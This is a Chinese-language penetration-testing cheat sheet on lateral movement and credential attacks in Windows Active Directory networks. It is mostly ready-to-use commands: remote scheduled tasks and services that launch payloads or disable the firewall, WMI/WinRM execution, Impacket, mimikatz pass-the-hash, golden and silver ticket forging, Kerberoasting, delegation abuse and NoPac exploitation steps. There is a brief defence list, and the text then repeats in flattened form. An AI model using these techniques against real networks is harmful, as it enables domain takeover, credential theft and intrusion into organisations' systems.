内网渗透横向移动技巧
字数 1293 2025-08-19 12:40:34

内网渗透横向移动技巧全面指南

文件传输前期准备

网络共享利用

  • IPC$连接要求
    • 远程主机开启IPC连接
    • 开放139和445端口
  • 命令示例
    net use \\10.10.10.10\IPC$ "password" /user:"username"
    dir \\10.10.10.10\c$
    
  • 安全性:本地执行远程命令,不在远程主机留日志

SMB服务器搭建

  • SMB协议使用139或445端口
  • 创建共享目录供内网主机访问
  • CIFS与SMB区别
    • CIFS是SMB的增强版本
    • 获取域控CIFS权限可直接控制域控

横向移动技术

计划任务

  • Windows < 2012
    at \\target 15:47 c:\payload.bat
    
  • Windows ≥ 2012
    schtasks /create /s target /ru SYSTEM /tn taskname /sc DAILY /tr c:\payload.bat /F
    schtasks /run /s target /tn taskname
    
  • 日志记录
    • Microsoft-Windows-TaskScheduler/Operational
    • Microsoft-Windows-TaskScheduler/Maintenance

系统服务

  • 创建服务
    sc \\target create servicename binpath= "c:\payload.exe"
    sc \\target start servicename
    
  • 关闭防火墙
    sc \\target create disablefirewall binpath= "netsh advfirewall set allprofiles state off"
    

PSEXEC

  • 条件
    • 开启Admin$共享
    • 开放139/445端口
    • 有创建服务权限
  • 工具
    • PsTools套件
    • Impacket的psexec.py
    • 日志:事件ID 7045

WMI利用

  • 条件
    • WMI服务开启
    • 开放135端口
  • 命令示例
    wmic /node:192.168.1.1 /user:admin /password:pass process call create "cmd.exe /c ipconfig > C:\result.txt"
    

DCOM利用

  • 通过分布式COM对象远程执行命令
  • 需要135和445端口开放

WinRM利用

  • 配置
    winrm quickconfig
    winrm set winrm/config/service/auth "@{Basic="true"}"
    winrm set winrm/config/service "@{AllowUnencrypted="true"}"
    
  • 执行命令
    winrs -r:http://target:5985 -u:admin -p:pass "whoami"
    

Linux横向渗透工具

Impacket工具包

  • wmiexec.py
    python wmiexec.py domain/user:password@target
    
  • smbexec.py
    python smbexec.py -hashes :hash domain/user@target
    
  • atexec.py
    python atexec.py domain/user:password@target "command"
    
  • dcomexec.py
    python dcomexec.py domain/user:password@target "whoami"
    

凭证攻击技术

哈希传递(PTH)

  • mimikatz
    sekurlsa::pth /user:user /domain:domain /ntlm:hash
    
  • 限制
    • KB2871997补丁后仅administrator账户可用
    • 可通过修改注册表绕过限制

密钥传递(PTK)

  • 使用AES密钥代替NTLM哈希
  • 限制
    • 需要Kerberos认证
    • 无法在Socks代理环境下使用

Kerberos攻击

黄金票据

  • 条件
    • 域SID
    • krbtgt账户hash
    • 本地管理员权限
  • 生成
    kerberos::golden /user:fakeuser /domain:domain /sid:SID /krbtgt:hash /ticket:gold.kirbi
    
  • 使用
    kerberos::ptt gold.kirbi
    

Kerberoasting

  • 攻击服务账户的SPN获取服务票据进行破解
  • 工具
    Rubeus.exe kerberoast
    GetUserSPNs.py -request
    

AS-REP Roasting

  • 攻击未启用预认证的账户
  • 工具
    Rubeus.exe asreproast
    GetNPUsers.py
    

白银票据

  • 伪造服务票据(ST)
  • 生成
    kerberos::golden /domain:domain /sid:SID /target:target /service:service /rc4:hash /user:user /ptt
    
  • 服务类型
    • CIFS - 文件共享
    • HOST - 计划任务
    • HTTP/WINRM - 远程管理

委派攻击

非约束委派

  • 查找
    Get-NetComputer -Unconstrained
    
  • 利用
    1. 诱导域控连接
    2. 导出TGT
    3. 注入内存

约束委派

  • 查找
    Get-DomainComputer -TrustedToAuth
    
  • 利用
    Rubeus.exe s4u /user:service$ /rc4:hash /impersonateuser:admin /msdsspn:service/target /ptt
    

基于资源的约束委派

  • 配置
    $SD = New-Object Security.AccessControl.RawSecurityDescriptor
    Set-DomainObject target -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
    
  • 利用
    Rubeus.exe s4u /user:attacker$ /rc4:hash /impersonateuser:admin /msdsspn:service/target /ptt
    

特殊漏洞利用

CVE-2020-17049 (Kerberos Bronze Bit)

  • 绕过PAC校验
  • 利用
    python getST.py -force-forwardable ...
    

CVE-2021-42287 & CVE-2021-42278 (NoPac)

  • 利用步骤
    1. 创建机器账户
    2. 清除SPN
    3. 修改sAMAccountName冒充域控
    4. 请求TGT
    5. 恢复原名称
    6. S4U请求服务票据

防御建议

  1. 限制委派配置权限
  2. 启用PAC验证
  3. 监控异常Kerberos活动
  4. 定期轮换krbtgt密码
  5. 限制本地管理员权限
  6. 启用Windows事件日志审核

本指南涵盖了内网横向移动的主要技术和方法,实际使用时需根据目标环境选择合适的技术组合。

内网渗透横向移动技巧全面指南 文件传输前期准备 网络共享利用 IPC$连接要求 : 远程主机开启IPC连接 开放139和445端口 命令示例 : 安全性 :本地执行远程命令,不在远程主机留日志 SMB服务器搭建 SMB协议使用139或445端口 创建共享目录供内网主机访问 CIFS与SMB区别 : CIFS是SMB的增强版本 获取域控CIFS权限可直接控制域控 横向移动技术 计划任务 Windows < 2012 : Windows ≥ 2012 : 日志记录 : Microsoft-Windows-TaskScheduler/Operational Microsoft-Windows-TaskScheduler/Maintenance 系统服务 创建服务 : 关闭防火墙 : PSEXEC 条件 : 开启Admin$共享 开放139/445端口 有创建服务权限 工具 : PsTools套件 Impacket的psexec.py 日志 :事件ID 7045 WMI利用 条件 : WMI服务开启 开放135端口 命令示例 : DCOM利用 通过分布式COM对象远程执行命令 需要135和445端口开放 WinRM利用 配置 : 执行命令 : Linux横向渗透工具 Impacket工具包 wmiexec.py : smbexec.py : atexec.py : dcomexec.py : 凭证攻击技术 哈希传递(PTH) mimikatz : 限制 : KB2871997补丁后仅administrator账户可用 可通过修改注册表绕过限制 密钥传递(PTK) 使用AES密钥代替NTLM哈希 限制 : 需要Kerberos认证 无法在Socks代理环境下使用 Kerberos攻击 黄金票据 条件 : 域SID krbtgt账户hash 本地管理员权限 生成 : 使用 : Kerberoasting 攻击服务账户的SPN获取服务票据进行破解 工具 : AS-REP Roasting 攻击未启用预认证的账户 工具 : 白银票据 伪造服务票据(ST) 生成 : 服务类型 : CIFS - 文件共享 HOST - 计划任务 HTTP/WINRM - 远程管理 委派攻击 非约束委派 查找 : 利用 : 诱导域控连接 导出TGT 注入内存 约束委派 查找 : 利用 : 基于资源的约束委派 配置 : 利用 : 特殊漏洞利用 CVE-2020-17049 (Kerberos Bronze Bit) 绕过PAC校验 利用 : CVE-2021-42287 & CVE-2021-42278 (NoPac) 利用步骤 : 创建机器账户 清除SPN 修改sAMAccountName冒充域控 请求TGT 恢复原名称 S4U请求服务票据 防御建议 限制委派配置权限 启用PAC验证 监控异常Kerberos活动 定期轮换krbtgt密码 限制本地管理员权限 启用Windows事件日志审核 本指南涵盖了内网横向移动的主要技术和方法,实际使用时需根据目标环境选择合适的技术组合。